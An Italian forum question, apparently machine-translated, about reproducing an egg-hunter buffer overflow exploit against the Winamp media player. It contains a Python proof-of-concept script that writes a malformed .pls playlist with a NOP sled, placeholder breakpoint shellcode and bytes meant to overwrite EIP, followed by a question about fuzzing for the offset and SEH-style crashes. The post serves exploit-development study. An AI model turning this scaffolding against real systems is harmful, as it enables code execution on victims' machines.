Sto cercando di replicare lo sfruttamento della "caccia alle uova" per la Winmap .
Ho iniziato a utilizzare il codice POC fornito (l'ho riscritto in Python):
__author__ = 'HSN'
#!/usr/bin/python -w
start = "[playlist]\r\nFile1=\\"
#[playlist]\r\nFile1=\\"
nop = "\x90"*856
shellcode ="\xcc"*166
jmp = "\x41"*4+"\x83"*8+"\x90"*4
end="\r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n"
evil = start + nop + shellcode + jmp + end
print len(evil)
f = open("boom.pls", "w")
f.write(evil)
Quando si applica il codice precedente, l'applicazione si arresta in modo anomalo come previsto (EIP viene sovrascritto)
Tuttavia, volevo replicare il processo di fuzzing (almeno per ottenere l'offset EIP da solo) Tuttavia, ogni volta che cambio il contenuto del mio buffer (pur conservando la lunghezza totale e prendendo in considerazione i caratteri errati) l'applicazione si blocca in un modo simile a quello che succede quando SEH viene sovrascritto.